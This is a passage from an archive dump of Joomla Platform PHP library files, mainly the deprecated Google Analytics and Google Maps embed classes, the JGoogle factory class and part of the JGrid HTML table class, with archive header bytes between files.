* @since 3.1.4
*/
public function setOption($key, $value)
{
$this->options->set($key, $value);
return $this;
}
}
PKNn�[L�+�TTgoogle/embed/analytics.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Google
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Google Analytics embed class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/google` package via Composer instead
*/
class JGoogleEmbedAnalytics extends JGoogleEmbed
{
/**
* Method to get the tracking code
*
* @return string The Google Analytics tracking code
*
* @since 3.1.4
*/
public function getCode()
{
return $this->getOption('code');
}
/**
* Method to set the tracking code
*
* @param string $code The Google Analytics tracking code
*
* @return JGoogleEmbedAnalytics The object for method chaining
*
* @since 3.1.4
*/
public function setCode($code)
{
$this->setOption('code', $code);
return $this;
}
/**
* Checks if the javascript is set to be asynchronous
*
* @return boolean True if asynchronous
*
* @since 3.1.4
*/
public function isAsync()
{
return $this->getOption('async') === null ? true :
$this->getOption('async');
}
/**
* Load javascript asynchronously
*
* @return JGoogleEmbedAnalytics The object for method chaining
*
* @since 3.1.4
*/
public function useAsync()
{
$this->setOption('async', true);
return $this;
}
/**
* Load javascript synchronously
*
* @return JGoogleEmbedAnalytics The object for method chaining
*
* @since 3.1.4
*/
public function useSync()
{
$this->setOption('async', false);
return $this;
}
/**
* Add an analytics call
*
* @param string $method The name of the function
* @param array $params The parameters for the call
*
* @return array The added call
*
* @since 3.1.4
*/
public function addCall($method, $params = array())
{
$call = array('name' => $method, 'params' =>
$params);
$calls = $this->listCalls();
$calls[] = $call;
$this->setOption('calls', $calls);
return $call;
}
/**
* List the analytics calls to be executed
*
* @return array A list of calls
*
* @since 3.1.4
*/
public function listCalls()
{
return $this->getOption('calls') ?
$this->getOption('calls') : array();
}
/**
* Delete a call from the stack
*
* @param int $index Index of call to delete (defaults to last added
call)
*
* @return array The deleted call
*
* @since 3.1.4
*/
public function deleteCall($index = null)
{
$calls = $this->listCalls();
if ($index === null)
{
$index = count($calls) - 1;
}
$call = $calls[$index];
unset($calls[$index]);
$calls = array_values($calls);
$this->setOption('calls', $calls);
return $call;
}
/**
* Create a javascript function from the call parameters
*
* @param string $method The name of the function
* @param array $params The parameters for the call
*
* @return string The created call
*
* @since 3.1.4
*/
public function createCall($method, $params = array())
{
$params = array_values($params);
if ($this->isAsync())
{
$output = "_gaq.push(['{$method}',";
$output .= substr(json_encode($params), 1, -1);
$output .= ']);';
}
else
{
$output = "pageTracker.{$method}(";
$output .= substr(json_encode($params), 1, -1);
$output .= ');';
}
return $output;
}
/**
* Add a custom variable to the analytics
*
* @param int $slot The slot to store the variable in (1-5)
* @param string $name The variable name
* @param string $value The variable value
* @param int $scope The scope of the variable (1: visitor level,
2: session level, 3: page level)
*
* @return array The added call
*
* @since 3.1.4
*/
public function addCustomVar($slot, $name, $value, $scope = 3)
{
return $this->addCall('_setCustomVar', array($slot, $name,
$value, $scope));
}
/**
* Get the code to create a custom analytics variable
*
* @param int $slot The slot to store the variable in (1-5)
* @param string $name The variable name
* @param string $value The variable value
* @param int $scope The scope of the variable (1: visitor level,
2: session level, 3: page level)
*
* @return string The created call
*
* @since 3.1.4
*/
public function createCustomVar($slot, $name, $value, $scope = 3)
{
return $this->createCall('_setCustomVar', array($slot,
$name, $value, $scope));
}
/**
* Track an analytics event
*
* @param string $category The general event category
* @param string $action The event action
* @param string $label The event description
* @param string $value The value of the event
* @param boolean $noninteract Don't allow this event to impact
bounce statistics
*
* @return array The added call
*
* @since 3.1.4
*/
public function addEvent($category, $action, $label = null, $value = null,
$noninteract = false)
{
return $this->addCall('_trackEvent', array($category,
$action, $label, $value, $noninteract));
}
/**
* Get the code to track an analytics event
*
* @param string $category The general event category
* @param string $action The event action
* @param string $label The event description
* @param string $value The value of the event
* @param boolean $noninteract Don't allow this event to impact
bounce statistics
*
* @return string The created call
*
* @since 3.1.4
*/
public function createEvent($category, $action, $label = null, $value =
null, $noninteract = false)
{
return $this->createCall('_trackEvent', array($category,
$action, $label, $value, $noninteract));
}
/**
* Get code to load Google Analytics javascript
*
* @return string Javascript code
*
* @since 3.1.4
*/
public function getHeader()
{
if (!$this->isAsync())
{
// Synchronous code is included only in the body
return '';
}
if (!$this->getOption('code'))
{
throw new UnexpectedValueException('A Google Analytics tracking
code is required.');
}
$code = $this->getOption('code');
$output = '<script type="text/javascript">';
$output .= 'var _gaq = _gaq || [];';
$output .= "_gaq.push(['_setAccount',
'{$code}']);";
foreach ($this->listCalls() as $call)
{
$output .= $this->createCall($call['name'],
$call['params']);
}
$output .= '_gaq.push(["_trackPageview"]);';
$output .= '</script>';
return $output;
}
/**
* Google Analytics only needs to be included in the header
*
* @return null
*
* @since 3.1.4
*/
public function getBody()
{
if (!$this->getOption('code'))
{
throw new UnexpectedValueException('A Google Analytics tracking
code is required.');
}
$prefix = $this->isSecure() ? 'https://ssl' :
'http://www';
$code = $this->getOption('code');
if ($this->isAsync())
{
$output = '<script type="text/javascript">';
$output .= '(function() {';
$output .= 'var ga = document.createElement("script");
ga.type = "text/javascript"; ga.async = true;';
$output .= "ga.src =
'{$prefix}.google-analytics.com/ga.js';";
$output .= 'var s =
document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(ga, s);';
$output .= '})();';
$output .= '</script>';
}
else
{
$output = '<script type="text/javascript">';
$output .= "document.write(unescape(\"%3Cscript
src='{$prefix}.google-analytics.com/ga.js'
type='text/javascript'%3E%3C/script%3E\"));";
$output .= '</script>';
$output .= '<script type="text/javascript">';
$output .= 'try{';
$output .= "var pageTracker =
_gat._getTracker('{$code}');";
foreach ($this->listCalls() as $call)
{
$output .= $this->createCall($call['name'],
$call['params']);
}
$output .= 'pageTracker._trackPageview();';
$output .= '} catch(err) {}</script>';
}
return $output;
}
}
PKNn�[څXf�C�Cgoogle/embed/maps.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Google
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Google Maps embed class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/google` package via Composer instead
*/
class JGoogleEmbedMaps extends JGoogleEmbed
{
/**
* @var JHttp The HTTP client object to use in sending HTTP requests.
* @since 3.1.4
*/
protected $http;
/**
* Constructor.
*
* @param Registry $options Google options object
* @param JUri $uri URL of the page being rendered
* @param JHttp $http Http client for geocoding requests
*
* @since 3.1.4
*/
public function __construct(Registry $options = null, JUri $uri = null,
JHttp $http = null)
{
parent::__construct($options, $uri);
$this->http = $http ? $http : new JHttp($this->options);
}
/**
* Method to get the API key
*
* @return string The Google Maps API key
*
* @since 3.1.4
*/
public function getKey()
{
return $this->getOption('key');
}
/**
* Method to set the API key
*
* @param string $key The Google Maps API key
*
* @return JGoogleEmbedMaps The object for method chaining
*
* @since 3.1.4
*/
public function setKey($key)
{
$this->setOption('key', $key);
return $this;
}
/**
* Method to get the id of the map div
*
* @return string The ID
*
* @since 3.1.4
*/
public function getMapId()
{
return $this->getOption('mapid') ?
$this->getOption('mapid') : 'map_canvas';
}
/**
* Method to set the map div id
*
* @param string $id The ID
*
* @return JGoogleEmbedMaps The object for method chaining
*
* @since 3.1.4
*/
public function setMapId($id)
{
$this->setOption('mapid', $id);
return $this;
}
/**
* Method to get the class of the map div
*
* @return string The class
*
* @since 3.1.4
*/
public function getMapClass()
{
return $this->getOption('mapclass') ?
$this->getOption('mapclass') : '';
}
/**
* Method to set the map div class
*
* @param string $class The class
*
* @return JGoogleEmbedMaps The object for method chaining
*
* @since 3.1.4
*/
public function setMapClass($class)
{
$this->setOption('mapclass', $class);
return $this;
}
/**
* Method to get the style of the map div
*
* @return string The style
*
* @since 3.1.4
*/
public function getMapStyle()
{
return $this->getOption('mapstyle') ?
$this->getOption('mapstyle') : '';
}
/**
* Method to set the map div style
*
* @param string $style The style
*
* @return JGoogleEmbedMaps The object for method chaining
*
* @since 3.1.4
*/
public function setMapStyle($style)
{
$this->setOption('mapstyle', $style);
return $this;
}
/**
* Method to get the map type setting
*
* @return string The class
*
* @since 3.1.4
*/
public function getMapType()
{
return $this->getOption('maptype') ?
$this->getOption('maptype') : 'ROADMAP';
}
/**
* Method to set the map type ()
*
* @param string $type Valid types are ROADMAP, SATELLITE, HYBRID, and
TERRAIN
*
* @return JGoogleEmbedMaps The object for method chaining
*
* @since 3.1.4
*/
public function setMapType($type)
{
$this->setOption('maptype', strtoupper($type));
return $this;
}
/**
* Method to get additional map options
*
* @return string The options
*
* @since 3.1.4
*/
public function getAdditionalMapOptions()
{
return $this->getOption('mapoptions') ?
$this->getOption('mapoptions') : array();
}
/**
* Method to add additional map options
*
* @param array $options Additional map options
*
* @return JGoogleEmbedMaps The object for method chaining
*
* @since 3.1.4
*/
public function setAdditionalMapOptions($options)
{
$this->setOption('mapoptions', $options);
return $this;
}
/**
* Method to get additional map options
*
* @return string The options
*
* @since 3.1.4
*/
public function getAdditionalJavascript()
{
return $this->getOption('extrascript') ?
$this->getOption('extrascript') : '';
}
/**
* Method to add additional javascript
*
* @param array $script Additional javascript
*
* @return JGoogleEmbedMaps The object for method chaining
*
* @since 3.1.4
*/
public function setAdditionalJavascript($script)
{
$this->setOption('extrascript', $script);
return $this;
}
/**
* Method to get the zoom
*
* @return int The zoom level
*
* @since 3.1.4
*/
public function getZoom()
{
return $this->getOption('zoom') ?
$this->getOption('zoom') : 0;
}
/**
* Method to set the map zoom
*
* @param int $zoom Zoom level (0 is whole world)
*
* @return JGoogleEmbedMaps The object for method chaining
*
* @since 3.1.4
*/
public function setZoom($zoom)
{
$this->setOption('zoom', $zoom);
return $this;
}
/**
* Method to set the center of the map
*
* @return mixed A latitude longitude array or an address string
*
* @since 3.1.4
*/
public function getCenter()
{
return $this->getOption('mapcenter') ?
$this->getOption('mapcenter') : array(0, 0);
}
/**
* Method to set the center of the map
*
* @param mixed $location A latitude/longitude array or an
address string
* @param mixed $title Title of marker or false for no marker
* @param array $markeroptions Options for marker
* @param array $markerevents Events for marker
*
* @example with events call:
* $map->setCenter(
* array(0, 0),
* 'Map Center',
* array(),
* array(
* 'click' => 'function() { // code goes here }
* )
* )
*
* @return JGoogleEmbedMaps The latitude/longitude of the center or
false on failure
*
* @since 3.1.4
*/
public function setCenter($location, $title = true, $markeroptions =
array(), $markerevents = array())
{
if ($title)
{
$title = is_string($title) ? $title : null;
if (!$marker = $this->addMarker($location, $title, $markeroptions,
$markerevents))
{
return false;
}
$location = $marker['loc'];
}
elseif (is_string($location))
{
$geocode = $this->geocodeAddress($location);
if (!$geocode)
{
return false;
}
$location = $geocode['geometry']['location'];
$location = array_values($location);
}
$this->setOption('mapcenter', $location);
return $this;
}
/**
* Method to add an event handler to the map.
* Event handlers must be passed in either as callback name or fully
qualified function declaration
*
* @param string $type The event name
* @param string $function The event handling function body
*
* @example to add an event call:
* $map->addEventHandler('click', 'function(){
alert("map click event"); }');
*
* @return JGoogleEmbedMaps The object for method chaining
*
* @since 3.1.4
*/
public function addEventHandler($type, $function)
{
$events = $this->listEventHandlers();
$events[$type] = $function;
$this->setOption('events', $events);
return $this;
}
/**
* Method to remove an event handler from the map
*
* @param string $type The event name
*
* @example to delete an event call:
* $map->deleteEventHandler('click');
*
* @return string The event handler content
*
* @since 3.1.4
*/
public function deleteEventHandler($type = null)
{
$events = $this->listEventHandlers();
if ($type === null || !isset($events[$type]))
{
return;
}
$event = $events[$type];
unset($events[$type]);
$this->setOption('events', $events);
return $event;
}
/**
* List the events added to the map
*
* @return array A list of events
*
* @since 3.1.4
*/
public function listEventHandlers()
{
return $this->getOption('events') ?
$this->getOption('events') : array();
}
/**
* Add a marker to the map
*
* @param mixed $location A latitude/longitude array or an address
string
* @param mixed $title The hover-text for the marker
* @param array $options Options for marker
* @param array $events Events for marker
*
* @example with events call:
* $map->addMarker(
* array(0, 0),
* 'My Marker',
* array(),
* array(
* 'click' => 'function() { // code goes here }
* )
* )
*
* @return mixed The marker or false on failure
*
* @since 3.1.4
*/
public function addMarker($location, $title = null, $options = array(),
$events = array())
{
if (is_string($location))
{
if (!$title)
{
$title = $location;
}
$geocode = $this->geocodeAddress($location);
if (!$geocode)
{
return false;
}
$location = $geocode['geometry']['location'];
}
elseif (!$title)
{
$title = implode(', ', $location);
}
$location = array_values($location);
$marker = array('loc' => $location, 'title' =>
$title, 'options' => $options, 'events' =>
$events);
$markers = $this->listMarkers();
$markers[] = $marker;
$this->setOption('markers', $markers);
return $marker;
}
/**
* List the markers added to the map
*
* @return array A list of markers
*
* @since 3.1.4
*/
public function listMarkers()
{
return $this->getOption('markers') ?
$this->getOption('markers') : array();
}
/**
* Delete a marker from the map
*
* @param int $index Index of marker to delete (defaults to last added
marker)
*
* @return array The latitude/longitude of the deleted marker
*
* @since 3.1.4
*/
public function deleteMarker($index = null)
{
$markers = $this->listMarkers();
if ($index === null)
{
$index = count($markers) - 1;
}
if ($index >= count($markers) || $index < 0)
{
throw new OutOfBoundsException('Marker index out of bounds.');
}
$marker = $markers[$index];
unset($markers[$index]);
$markers = array_values($markers);
$this->setOption('markers', $markers);
return $marker;
}
/**
* Checks if the javascript is set to be asynchronous
*
* @return boolean True if asynchronous
*
* @since 3.1.4
*/
public function isAsync()
{
return $this->getOption('async') === null ? true :
$this->getOption('async');
}
/**
* Load javascript asynchronously
*
* @return JGoogleEmbedMaps The object for method chaining
*
* @since 3.1.4
*/
public function useAsync()
{
$this->setOption('async', true);
return $this;
}
/**
* Load javascript synchronously
*
* @return JGoogleEmbedAMaps The object for method chaining
*
* @since 3.1.4
*/
public function useSync()
{
$this->setOption('async', false);
return $this;
}
/**
* Method to get callback function for async javascript loading
*
* @return string The ID
*
* @since 3.1.4
*/
public function getAsyncCallback()
{
return $this->getOption('callback') ?
$this->getOption('callback') : 'initialize';
}
/**
* Method to set the callback function for async javascript loading
*
* @param string $callback The callback function name
*
* @return JGoogleEmbedMaps The object for method chaining
*
* @since 3.1.4
*/
public function setAsyncCallback($callback)
{
$this->setOption('callback', $callback);
return $this;
}
/**
* Checks if a sensor is set to be required
*
* @return boolean True if asynchronous
*
* @since 3.1.4
*/
public function hasSensor()
{
return $this->getOption('sensor') === null ? false :
$this->getOption('sensor');
}
/**
* Require access to sensor data
*
* @return JGoogleEmbedMaps The object for method chaining
*
* @since 3.1.4
*/
public function useSensor()
{
$this->setOption('sensor', true);
return $this;
}
/**
* Don't require access to sensor data
*
* @return JGoogleEmbedAMaps The object for method chaining
*
* @since 3.1.4
*/
public function noSensor()
{
$this->setOption('sensor', false);
return $this;
}
/**
* Checks how the script should be loaded
*
* @return string Autoload type (onload, jquery, mootools, or false)
*
* @since 3.1.4
*/
public function getAutoload()
{
return $this->getOption('autoload') ?
$this->getOption('autoload') : 'false';
}
/**
* Automatically add the callback to the window
*
* @param string $type The method to add the callback (options are
onload, jquery, mootools, and false)
*
* @return JGoogleEmbedAMaps The object for method chaining
*
* @since 3.1.4
*/
public function setAutoload($type = 'onload')
{
$this->setOption('autoload', $type);
return $this;
}
/**
* Get code to load Google Maps javascript
*
* @return string Javascript code
*
* @since 3.1.4
*/
public function getHeader()
{
$zoom = $this->getZoom();
$center = $this->getCenter();
$maptype = $this->getMapType();
$id = $this->getMapId();
$scheme = $this->isSecure() ? 'https' : 'http';
$key = $this->getKey();
$sensor = $this->hasSensor() ? 'true' : 'false';
$setup = 'var mapOptions = {';
$setup .= "zoom: {$zoom},";
$setup .= "center: new
google.maps.LatLng({$center[0]},{$center[1]}),";
$setup .= "mapTypeId: google.maps.MapTypeId.{$maptype},";
$setup .= substr(json_encode($this->getAdditionalMapOptions()), 1,
-1);
$setup .= '};';
$setup .= "var map = new
google.maps.Map(document.getElementById('{$id}'),
mapOptions);";
$events = $this->listEventHandlers();
if (isset($events) && count($events))
{
foreach ($events as $type => $handler)
{
$setup .= "google.maps.event.addListener(map, '{$type}',
{$handler});";
}
}
$markers = $this->listMarkers();
if (isset($markers) && count($markers))
{
$setup .= 'var marker;';
foreach ($markers as $marker)
{
$loc = $marker['loc'];
$title = $marker['title'];
$options = $marker['options'];
$setup .= 'marker = new google.maps.Marker({';
$setup .= "position: new
google.maps.LatLng({$loc[0]},{$loc[1]}),";
$setup .= 'map: map,';
$setup .= "title:'{$title}',";
$setup .= substr(json_encode($options), 1, -1);
$setup .= '});';
if (isset($marker['events']) &&
is_array($marker['events']))
{
foreach ($marker['events'] as $type => $handler)
{
$setup .= 'google.maps.event.addListener(marker, "' .
$type . '", ' . $handler . ');';
}
}
}
}
$setup .= $this->getAdditionalJavascript();
if ($this->isAsync())
{
$asynccallback = $this->getAsyncCallback();
$output = '<script type="text/javascript">';
$output .= "function {$asynccallback}() {";
$output .= $setup;
$output .= '}';
$onload = 'function() {';
$onload .= 'var script =
document.createElement("script");';
$onload .= 'script.type = "text/javascript";';
$onload .= "script.src =
'{$scheme}://maps.googleapis.com/maps/api/js?" . ($key ?
"key={$key}&" : '')
. "sensor={$sensor}&callback={$asynccallback}';";
$onload .= 'document.body.appendChild(script);';
$onload .= '}';
}
else
{
$output = "<script type='text/javascript'
src='{$scheme}://maps.googleapis.com/maps/api/js?" . ($key ?
"key={$key}&" : '') .
"sensor={$sensor}'>";
$output .= '</script>';
$output .= '<script type="text/javascript">';
$onload = 'function() {';
$onload .= $setup;
$onload .= '}';
}
switch ($this->getAutoload())
{
case 'onload':
$output .= "window.onload={$onload};";
break;
case 'jquery':
$output .= "jQuery(document).ready({$onload});";
break;
case 'mootools':
$output .= "window.addEvent('domready',{$onload});";
break;
}
$output .= '</script>';
return $output;
}
/**
* Method to retrieve the div that the map is loaded into
*
* @return string The body
*
* @since 3.1.4
*/
public function getBody()
{
$id = $this->getMapId();
$class = $this->getMapClass();
$style = $this->getMapStyle();
$output = "<div id='{$id}'";
if (!empty($class))
{
$output .= " class='{$class}'";
}
if (!empty($style))
{
$output .= " style='{$style}'";
}
$output .= '></div>';
return $output;
}
/**
* Method to get the location information back from an address
*
* @param string $address The address to geocode
*
* @return array An array containing Google's geocode data
*
* @since 3.1.4
*/
public function geocodeAddress($address)
{
$uri =
JUri::getInstance('https://maps.googleapis.com/maps/api/geocode/json');
$uri->setVar('address', urlencode($address));
if (($key = $this->getKey()))
{
$uri->setVar('key', $key);
}
$response = $this->http->get($uri->toString());
if ($response->code < 200 || $response->code >= 300)
{
throw new RuntimeException('Error code ' . $response->code
. ' received geocoding address: ' . $response->body .
'.');
}
$data = json_decode($response->body, true);
if (!$data)
{
throw new RuntimeException('Invalid json received geocoding
address: ' . $response->body . '.');
}
if ($data['status'] != 'OK')
{
if (!empty($data['error_message']))
{
throw new RuntimeException($data['error_message']);
}
return;
}
return $data['results'][0];
}
}
PKNn�[_س%� � google/embed.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Google
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Google API object class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/google` package via Composer instead
*/
abstract class JGoogleEmbed
{
/**
* @var Registry Options for the Google data object.
* @since 3.1.4
*/
protected $options;
/**
* @var JUri URI of the page being rendered.
* @since 3.1.4
*/
protected $uri;
/**
* Constructor.
*
* @param Registry $options Google options object
* @param JUri $uri URL of the page being rendered
*
* @since 3.1.4
*/
public function __construct(Registry $options = null, JUri $uri = null)
{
$this->options = $options ? $options : new Registry;
$this->uri = $uri ? $uri : JUri::getInstance();
}
/**
* Method to retrieve the javascript header for the embed API
*
* @return string The header
*
* @since 3.1.4
*/
public function isSecure()
{
return $this->uri->getScheme() == 'https';
}
/**
* Method to retrieve the header for the API
*
* @return string The header
*
* @since 3.1.4
*/
abstract public function getHeader();
/**
* Method to retrieve the body for the API
*
* @return string The body
*
* @since 3.1.4
*/
abstract public function getBody();
/**
* Method to output the javascript header for the embed API
*
* @return null
*
* @since 3.1.4
*/
public function echoHeader()
{
echo $this->getHeader();
}
/**
* Method to output the body for the API
*
* @return null
*
* @since 3.1.4
*/
public function echoBody()
{
echo $this->getBody();
}
/**
* Get an option from the JGoogleEmbed instance.
*
* @param string $key The name of the option to get.
*
* @return mixed The option value.
*
* @since 3.1.4
*/
public function getOption($key)
{
return $this->options->get($key);
}
/**
* Set an option for the JGoogleEmbed instance.
*
* @param string $key The name of the option to set.
* @param mixed $value The option value to set.
*
* @return JGoogleEmbed This object for method chaining.
*
* @since 3.1.4
*/
public function setOption($key, $value)
{
$this->options->set($key, $value);
return $this;
}
}
PKNn�[QH��YYgoogle/google.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Google
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Joomla Platform class for interacting with the Google APIs.
*
* @property-read JGoogleData $data Google API object for data.
* @property-read JGoogleEmbed $embed Google API object for embed
generation.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/google` package via Composer instead
*/
class JGoogle
{
/**
* @var Registry Options for the Google object.
* @since 3.1.4
*/
protected $options;
/**
* @var JGoogleAuth The authentication client object to use in sending
authenticated HTTP requests.
* @since 3.1.4
*/
protected $auth;
/**
* @var JGoogleData Google API object for data request.
* @since 3.1.4
*/
protected $data;
/**
* @var JGoogleEmbed Google API object for embed generation.
* @since 3.1.4
*/
protected $embed;
/**
* Constructor.
*
* @param Registry $options Google options object.
* @param JGoogleAuth $auth The authentication client object.
*
* @since 3.1.4
*/
public function __construct(Registry $options = null, JGoogleAuth $auth =
null)
{
$this->options = isset($options) ? $options : new Registry;
$this->auth = isset($auth) ? $auth : new
JGoogleAuthOauth2($this->options);
}
/**
* Method to create JGoogleData objects
*
* @param string $name Name of property to retrieve
* @param Registry $options Google options object.
* @param JGoogleAuth $auth The authentication client object.
*
* @return JGoogleData Google data API object.
*
* @since 3.1.4
*/
public function data($name, $options = null, $auth = null)
{
if ($this->options && !$options)
{
$options = $this->options;
}
if ($this->auth && !$auth)
{
$auth = $this->auth;
}
switch ($name)
{
case 'plus':
case 'Plus':
return new JGoogleDataPlus($options, $auth);
case 'picasa':
case 'Picasa':
return new JGoogleDataPicasa($options, $auth);
case 'adsense':
case 'Adsense':
return new JGoogleDataAdsense($options, $auth);
case 'calendar':
case 'Calendar':
return new JGoogleDataCalendar($options, $auth);
default:
return;
}
}
/**
* Method to create JGoogleEmbed objects
*
* @param string $name Name of property to retrieve
* @param Registry $options Google options object.
*
* @return JGoogleEmbed Google embed API object.
*
* @since 3.1.4
*/
public function embed($name, $options = null)
{
if ($this->options && !$options)
{
$options = $this->options;
}
switch ($name)
{
case 'maps':
case 'Maps':
return new JGoogleEmbedMaps($options);
case 'analytics':
case 'Analytics':
return new JGoogleEmbedAnalytics($options);
default:
return;
}
}
/**
* Get an option from the JGoogle instance.
*
* @param string $key The name of the option to get.
*
* @return mixed The option value.
*
* @since 3.1.4
*/
public function getOption($key)
{
return $this->options->get($key);
}
/**
* Set an option for the JGoogle instance.
*
* @param string $key The name of the option to set.
* @param mixed $value The option value to set.
*
* @return JGoogle This object for method chaining.
*
* @since 3.1.4
*/
public function setOption($key, $value)
{
$this->options->set($key, $value);
return $this;
}
}
PKNn�[�K��%�%
grid/grid.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Grid
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* JGrid class to dynamically generate HTML tables
*
* @since 1.7.3
* @deprecated 4.0 This class will be removed without any replacement
*/
class JGrid
{
/**
* Array of columns
* @var array
* @since 1.7.3
*/
protected $columns = array();
/**
* Current active row
* @var int
* @since 1.7.3
*/
protected $activeRow = 0;
/**
* Rows of the table (including header and footer rows)
* @var array
* @since 1.7.3
*/
protected $rows = array();
/**
* Header and Footer row-IDs
* @var array
* @since 1.7.3
*/
protected $specialRows = array('header' => array(),
'footer' => array());
/**
* Associative array of attributes for the table-tag
* @var array
* @since 1.7.3
*/
protected $options;
/**
* Constructor for a JGrid object
*
* @param array $options Associative array of attributes for the
table-tag
*
* @since 1.7.3
*/
public function __construct($options = array())
{
$this->setTableOptions($options, true);
}
/**
* Magic function to render this object as a table.
*
* @return string
*
* @since 1.7.3
*/
public function __toString()
{
return $this->toString();
}
/**
* Method to set the attributes for a table-tag
*
* @param array $options Associative array of attributes for the
table-tag
* @param bool $replace Replace possibly existing attributes
*
* @return JGrid This object for chaining
*
* @since 1.7.3
*/
public function setTableOptions($options = array(), $replace = false)
{
if ($replace)
{
$this->options = $options;
}
else
{
$this->options = array_merge($this->options, $options);
}
return $this;
}
/**
* Get the Attributes of the current table
*
* @return array Associative array of attributes
*
* @since 1.7.3
*/
public function getTableOptions()
{
return $this->options;
}
/**
* Add new column name to process
*
* @param string $name Internal column name
*
* @return JGrid This object for chaining
*
* @since 1.7.3
*/
public function addColumn($name)
{
$this->columns[] = $name;
return $this;
}
/**
* Returns the list of internal columns
*
* @return array List of internal columns
*
* @since 1.7.3
*/
public function getColumns()
{
return $this->columns;
}
/**
* Delete column by name
*
* @param string $name Name of the column to be deleted
*
* @return JGrid This object for chaining
*
* @since 1.7.3
*/
public function deleteColumn($name)
{
$index = array_search($name, $this->columns);
if ($index !== false)
{
unset($this->columns[$index]);
$this->columns = array_values($this->columns);
}
return $this;
}
/**
* Method to set a whole range of columns at once
* This can be used to re-order the columns, too
*
* @param array $columns List of internal column names
*
* @return JGrid This object for chaining
*
* @since 1.7.3
*/
public function setColumns($columns)
{
$this->columns = array_values($columns);
return $this;
}
/**
* Adds a row to the table and sets the currently
* active row to the new row
*
* @param array $options Associative array of attributes for the row
* @param int $special 1 for a new row in the header, 2 for a new
row in the footer
*
* @return JGrid This object for chaining
*
* @since 1.7.3
*/
public function addRow($options = array(), $special = false)
{
$this->rows[]['_row'] = $options;
$this->activeRow = count($this->rows) - 1;
if ($special)
{
if ($special === 1)
{
$this->specialRows['header'][] = $this->activeRow;
}
else
{
$this->specialRows['footer'][] = $this->activeRow;
}
}
return $this;
}
/**
* Method to get the attributes of the currently active row
*
* @return array Associative array of attributes
*
* @since 1.7.3
*/
public function getRowOptions()
{
return $this->rows[$this->activeRow]['_row'];
}
/**
* Method to set the attributes of the currently active row
*
* @param array $options Associative array of attributes
*
* @return JGrid This object for chaining
*
* @since 1.7.3
*/
public function setRowOptions($options)
{
$this->rows[$this->activeRow]['_row'] = $options;
return $this;
}
/**
* Get the currently active row ID
*
* @return int ID of the currently active row
*
* @since 1.7.3
*/
public function getActiveRow()
{
return $this->activeRow;
}
/**
* Set the currently active row
*
* @param int $id ID of the row to be set to current
*
* @return JGrid This object for chaining
*
* @since 1.7.3
*/
public function setActiveRow($id)
{
$this->activeRow = (int) $id;
return $this;
}
/**
* Set cell content for a specific column for the
* currently active row
*
* @param string $name Name of the column
* @param string $content Content for the cell
* @param array $option Associative array of attributes for the
td-element
* @param bool $replace If false, the content is appended to the
current content of the cell
*
* @return JGrid This object for chaining
*
* @since 1.7.3
*/
public function setRowCell($name, $content, $option = array(), $replace =
true)
{
if ($replace || !isset($this->rows[$this->activeRow][$name]))
{
$cell = new stdClass;
$cell->options = $option;
$cell->content = $content;
$this->rows[$this->activeRow][$name] = $cell;
}
else
{
$this->rows[$this->activeRow][$name]->content .= $content;
$this->rows[$this->activeRow][$name]->options = $option;
}
return $this;
}
/**
* Get all data for a row
*
* @param int $id ID of the row to return
*
* @return array Array of columns of a table row
*
* @since 1.7.3
*/
public function getRow($id = false)
{
if ($id === false)
{
$id = $this->activeRow;
}
if (isset($this->rows[(int) $id]))
{
return $this->rows[(int) $id];
}
else
{
return false;
}
}
/**
* Get the IDs of all rows in the table
*
* @param int $special false for the standard rows, 1 for the header
rows, 2 for the footer rows
*
* @return array Array of IDs
*
* @since 1.7.3
*/
public function getRows($special = false)
{
if ($special)
{
if ($special === 1)
{
return $this->specialRows['header'];
}
else
{
return $this->specialRows['footer'];
}
}
return array_diff(array_keys($this->rows),
array_merge($this->specialRows['header'],
$this->specialRows['footer']));
}
/**
* Delete a row from the object
*
* @param int $id ID of the row to be deleted
*
* @return JGrid This object for chaining
*
* @since 1.7.3
*/
public function deleteRow($id)
{
unset($this->rows[$id]);
if (in_array($id, $this->specialRows['header']))
{
unset($this->specialRows['header'][array_search($id,
$this->specialRows['header'])]);
}
if (in_array($id, $this->specialRows['footer']))
{
unset($this->specialRows['footer'][array_search($id,
$this->specialRows['footer'])]);
}
if ($this->activeRow == $id)
{
end($this->rows);
$this->activeRow = key($this->rows);
}
return $this;
}
/**
* Render the HTML table
*
* @return string The rendered HTML table
*
* @since 1.7.3
*/
public function toString()
{
$output = array();
$output[] = '<table' .
$this->renderAttributes($this->getTableOptions()) . '>';
if (count($this->specialRows['header']))
{
$output[] =
$this->renderArea($this->specialRows['header'],
'thead', 'th');
}
if (count($this->specialRows['footer']))
{
$output[] =
$this->renderArea($this->specialRows['footer'],
'tfoot');
}
$ids = array_diff(array_keys($this->rows),
array_merge($this->specialRows['header'],
$this->specialRows['footer']));
if (count($ids))
{
$output[] = $this->renderArea($ids);
}
$output[] = '</table>';
return implode('', $output);
}
/**
* Render an area of the table
*
* @param array $ids IDs of the rows to render
* @param string $area Name of the area to render. Valid: tbody,
